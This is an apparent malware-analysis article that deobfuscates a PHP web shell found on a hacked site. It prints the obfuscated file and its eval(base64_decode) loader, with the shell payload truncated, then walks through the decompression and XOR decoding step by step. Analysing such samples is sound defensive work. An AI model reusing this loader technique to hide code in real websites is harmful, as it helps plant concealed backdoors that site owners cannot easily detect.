During the analysis of one hacked website, i found the following malicious PHP file which contains a PHP shell. The purpose of this article is not to analyse the PHP shell but to understand the encoding and obfuscation mechanisms used.
<?php $o="QAAAOzh3b3cKDWJ1dWh1WHVidwAAaHVzbmlgLzAuPAoNR3RicwAAWGpmYG5kWHZyaHN idFh1cgEAaXNuamIvNwHxaGVYdHNmdXNIAC8A0SNqAZEnOidif3draGNiLwAnICcgKydqbm R1aAGRLy4CUgMCAQHAkAKQAyNcNlonLCcAxDdaB2BjYmFuQEhpBABURlhVSEhTBGB0cwmya 2ZkkggBcFtbASAgKABQY251aWYI0FhYQQDITktCWFguLikBgAaBKCgEVU5UWBwAUE5JAtAE ... oKCey8M3TvagrA836Duh3DmBmTOOjwiA7d3ViOTKTuBA7AHNYAgIggQH0KAIFCAA4OQ=="; eval(base64_decode("JGxsbD0wO2V2YWwoYmFzZTY0X2RlY29kZSgiSkd4c2JHeHNiR3h zYkd4c1BTZGlZWE5sTmpSZlpHVmpiMlJsSnpzPSIpKTskbGw9MDtldmFsKCRsbGxsbGxsbG xsbCgiSkd4c2JHeHNiR3hzYkd3OUoyOXlaQ2M3IikpOyRsbGxsPTA7JGxsbGxsPTM7ZXZhb CgkbGxsbGxsbGxsbGwoIkpHdzlKR3hzYkd4c2JHeHNiR3hzS0NSdktUcz0iKSk7JGxsbGxs bGw9MDskbGxsbGxsPSgkbGxsbGxsbGxsbCgkbFsxXSk8PDgpKyRsbGxsbGxsbGxsKCRsWzJ dKTtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JHdzlKM04wY214bGJpYz ciKSk7JGxsbGxsbGxsbD0xNjskbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGxsb GxsbGwoJGwpOyl7aWYoJGxsbGxsbGxsbD09MCl7JGxsbGxsbD0oJGxsbGxsbGxsbGwoJGxb JGxsbGxsKytdKTw8OCk7JGxsbGxsbCs9JGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTskbGx sbGxsbGxsPTE2O31pZigkbGxsbGxsJjB4ODAwMCl7JGxsbD0oJGxsbGxsbGxsbGwoJGxbJG xsbGxsKytdKTw8NCk7JGxsbCs9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbF0pPj40KTtpZigkb GxsKXskbGw9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSkmMHgwZikrMztmb3IoJGxsbGw9 MDskbGxsbDwkbGw7JGxsbGwrKykkbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGxdPSRsbGxsbGx sbFskbGxsbGxsbC0kbGxsKyRsbGxsXTskbGxsbGxsbCs9JGxsO31lbHNleyRsbD0oJGxsbG xsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsKz0kbGxsbGxsbGxsbCgkbFskbGxsbGwrK 10pKzE2O2ZvcigkbGxsbD0wOyRsbGxsPCRsbDskbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGwr K109JGxsbGxsbGxsbGwoJGxbJGxsbGxsXSkpOyRsbGxsbCsrOyRsbGxsbGxsKz0kbGw7fX1 lbHNlJGxsbGxsbGxsWyRsbGxsbGxsKytdPSRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSk7JG xsbGxsbDw8PTE7JGxsbGxsbGxsbC0tO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR 3hzYkd4c2JEMG5ZMmh5SnpzPSIpKTskbGxsbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4 c2JHeHNiR3hzYkQwaVB5SXVKR3hzYkd4c2JHeHNiR3hzYkNnMk1pazciKSk7JGxsbGxsbGx sbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGw7KXskbGxsbGxsbGxsbC49JGxsbGxsbGxsbG xsbCgkbGxsbGxsbGxbJGxsbGxsKytdXjB4MDcpO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c 2JHeHNiR3hzYkM0OUpHeHNiR3hzYkd4c2JHd3VKR3hzYkd4c2JHeHNiR3hzYkNnMk1Da3VJ ajhpT3c9PSIpKTtldmFsKCRsbGxsbGxsbGwpOw=="));return; ?>
This file is encoded and obfuscated with TrueBug PHP Obfuscator (www.truebug.com). We can identify two parts:
$o
variable which contains the PHP shell code enciphered / encoded with TrueBug PHP Obfuscator algorithm;- the TrueBug PHP Obfuscator loader: the code is obfuscated and then base64 encoded.
TrueBug PHP Obfuscator loader
eval(base64_decode("JGxsbD0wO2V2YWwoYmFzZTY0X2RlY29kZSgiSkd4c2JHeHNiR3h ... ajhpT3c9PSIpKTtldmFsKCRsbGxsbGxsbGwpOw=="));
Once the base64 string is decoded (substitute eval()
with print()
), we obtain the PHP source code of the loader:
$lll=0;eval(base64_decode("JGxsbGxsbGxsbGxsPSdiYXNlNjRfZGVjb2RlJzs=")); $ll=0;eval($lllllllllll("JGxsbGxsbGxsbGw9J29yZCc7"));$llll=0;$lllll=3;e val($lllllllllll("JGw9JGxsbGxsbGxsbGxsKCRvKTs="));$lllllll=0;$llllll=($ llllllllll($l[1])<<8)+$llllllllll($l[2]);eval($lllllllllll("JGxsbGxsbGx sbGxsbGw9J3N0cmxlbic7"));$lllllllll=16;$llllllll="";for(;$lllll<$llllll lllllll($l);){if($lllllllll==0){$llllll=($llllllllll($l[$lllll++])<<8); $llllll+=$llllllllll($l[$lllll++]);$lllllllll=16;}if($llllll&0x8000){$l ll=($llllllllll($l[$lllll++])<<4);$lll+=($llllllllll($l[$lllll])>>4);if ($lll){$ll=($llllllllll($l[$lllll++])&0x0f)+3;for($llll=0;$llll<$ll;$ll ll++)$llllllll[$lllllll+$llll]=$llllllll[$lllllll-$lll+$llll];$lllllll+ =$ll;}else{$ll=($llllllllll($l[$lllll++])<<8);$ll+=$llllllllll($l[$llll l++])+16;for($llll=0;$llll<$ll;$llllllll[$lllllll+$llll++]=$llllllllll( $l[$lllll]));$lllll++;$lllllll+=$ll;}}else$llllllll[$lllllll++]=$llllll llll($l[$lllll++]);$llllll<<=1;$lllllllll--;}eval($lllllllllll("JGxsbGx sbGxsbGxsbD0nY2hyJzs="));$lllll=0;eval($lllllllllll("JGxsbGxsbGxsbD0iPy IuJGxsbGxsbGxsbGxsbCg2Mik7"));$llllllllll="";for(;$lllll<$lllllll;){$ll llllllll.=$llllllllllll($llllllll[$lllll++]^0x07);}eval($lllllllllll("J GxsbGxsbGxsbC49JGxsbGxsbGxsbGwuJGxsbGxsbGxsbGxsbCg2MCkuIj8iOw=="));eval ($lllllllll);
Re-indenting and de-obfuscating the loader source (base64 decoding, variables renaming, some simplifications…) we obtain this more human readable PHP code:
<?php $CIPHER = base64_decode($o); $bk_MASK = (ord($CIPHER[1]) << 8) + ord($CIPHER[2]); $bk_rec_ID = 16; $PLAIN = ""; for ($iC=3, $iP=0; $iC<strlen($CIPHER); ) { if ($bk_rec_ID == 0) { $bk_MASK = (ord($CIPHER[$iC++]) << 8); $bk_MASK += ord($CIPHER[$iC++]); $bk_rec_ID = 16; } if ($bk_MASK & 0x8000) { $bk_rec_SHIFT = (ord($CIPHER[$iC++]) << 4); $bk_rec_SHIFT += (ord($CIPHER[$iC]) >> 4); if ($bk_rec_SHIFT) { // Compression type 1 $bk_rec_SIZE = (ord($CIPHER[$iC++]) & 0x0f) + 3; for ($j=0; $j<$bk_rec_SIZE; $j++) $PLAIN[$iP + $j] = $PLAIN[$iP - $bk_rec_SHIFT + $j]; $iP += $bk_rec_SIZE; } else { // Compression type 2 $bk_rec_SIZE = (ord($CIPHER[$iC++]) << 8); $bk_rec_SIZE += ord($CIPHER[$iC++]) + 16; for ($j=0; $j<$bk_rec_SIZE; $PLAIN[$iP + $j++] = ord($CIPHER[$iC])); $iC++; $iP += $bk_rec_SIZE; } } else // No compression $PLAIN[$iP++] = ord($CIPHER[$iC++]); $bk_MASK <<= 1; $bk_rec_ID--; } $SHELL_PHP = ""; for ($j=0; $j<$iP; ) $SHELL_PHP .= chr($PLAIN[$j++] ^ 0x07); eval("?>" . $SHELL_PHP . "<?"); ?>
TrueBug PHP Obfuscator algorithm is pretty straightforward. Except the final encoding part (xoring each bytes with 0x07), it’s rather a kind of compression algorithm:
- cipher stream is divided into blocks, and each block contains 16 records and describes whether a block is compressed or not (
$bk_MASK
):If a record is compressed then the corresponding bit in
$bk_MASK
is set to 1. - record can have the following format:
- No compression: copy record byte to plain stream
- Compression type 1: copy
$bk_rec_SIZE
bytes from previous plain bytes pointed by$bk_rec_SHIFT
(relative shift) - Compression type 2: copy record byte to plain stream
$bk_rec_SIZE
times
- No compression: copy record byte to plain stream
Let’s see with the following example how it works (excerpt from the debug of the decoding process):
P
stands forPLAIN
, andC
stands forCIPHER
bk_MASK = 0x1801 = b0001100000000001
means that records n° 13, 12 and 1 are compressed- records n° 13 and 1:
bk_rec_SHIFT
are not null so it’s a “compression type 1” which copies herebk_rec_SIZE = 3
previousPLAIN
bytes (negative relative shift is given bybk_rec_SHIFT
) - record n° 12:
bk_rec_SHIFT
is null so it’s a “compression type 2” which copiesbk_rec_SIZE = 0x13
times the record byte ‘=’ - other records: no compression, just copies the record byte
#### bk_rec_ID==0 --> bk_rec_ID=16 / bk_MASK=0x00001801 #### bk_rec_ID=16, bk_MASK=0x00001801 --> ! bk_MASK & 0x8000 P[778] = ord(C[573]) ‰ bk_rec_ID=15, bk_MASK=0x00003002 --> ! bk_MASK & 0x8000 P[779] = ord(C[574]) ÷ bk_rec_ID=14, bk_MASK=0x00006004 --> ! bk_MASK & 0x8000 P[780] = ord(C[575]) √ bk_rec_ID=13, bk_MASK=0x0000c008 --> bk_MASK & 0x8000, bk_rec_SHIFT==0x01df --> bk_rec_SIZE=0x03 P[781 + 0] = P[781 - 479 + 0] P[781 + 1] = P[781 - 479 + 1] = P[781 + 2] = P[781 - 479 + 2] = bk_rec_ID=12, bk_MASK=0x00018010 --> bk_MASK & 0x8000, bk_rec_SHIFT==0x0000 --> bk_rec_SIZE=0x0013 P[784 + 0] = ord(C[581]) = P[784 + 1] = ord(C[581]) = P[784 + 2] = ord(C[581]) = P[784 + 3] = ord(C[581]) = P[784 + 4] = ord(C[581]) = P[784 + 5] = ord(C[581]) = P[784 + 6] = ord(C[581]) = P[784 + 7] = ord(C[581]) = P[784 + 8] = ord(C[581]) = P[784 + 9] = ord(C[581]) = P[784 + 10] = ord(C[581]) = P[784 + 11] = ord(C[581]) = P[784 + 12] = ord(C[581]) = P[784 + 13] = ord(C[581]) = P[784 + 14] = ord(C[581]) = P[784 + 15] = ord(C[581]) = P[784 + 16] = ord(C[581]) = P[784 + 17] = ord(C[581]) = P[784 + 18] = ord(C[581]) = bk_rec_ID=11, bk_MASK=0x00030020 --> ! bk_MASK & 0x8000 P[803] = ord(C[582]) * bk_rec_ID=10, bk_MASK=0x00060040 --> ! bk_MASK & 0x8000 P[804] = ord(C[583]) / bk_rec_ID= 9, bk_MASK=0x000c0080 --> ! bk_MASK & 0x8000 P[805] = ord(C[584]) bk_rec_ID= 8, bk_MASK=0x00180100 --> ! bk_MASK & 0x8000 P[806] = ord(C[585]) bk_rec_ID= 7, bk_MASK=0x00300200 --> ! bk_MASK & 0x8000 P[807] = ord(C[586]) $ bk_rec_ID= 6, bk_MASK=0x00600400 --> ! bk_MASK & 0x8000 P[808] = ord(C[587]) a bk_rec_ID= 5, bk_MASK=0x00c00800 --> ! bk_MASK & 0x8000 P[809] = ord(C[588]) d bk_rec_ID= 4, bk_MASK=0x01801000 --> ! bk_MASK & 0x8000 P[810] = ord(C[589]) m bk_rec_ID= 3, bk_MASK=0x03002000 --> ! bk_MASK & 0x8000 P[811] = ord(C[590]) i bk_rec_ID= 2, bk_MASK=0x06004000 --> ! bk_MASK & 0x8000 P[812] = ord(C[591]) n bk_rec_ID= 1, bk_MASK=0x0c008000 --> bk_MASK & 0x8000, bk_rec_SHIFT==0x005b --> bk_rec_SIZE=0x03 P[813 + 0] = P[813 - 91 + 0] P[813 + 1] = P[813 - 91 + 1] = P[813 + 2] = P[813 - 91 + 2]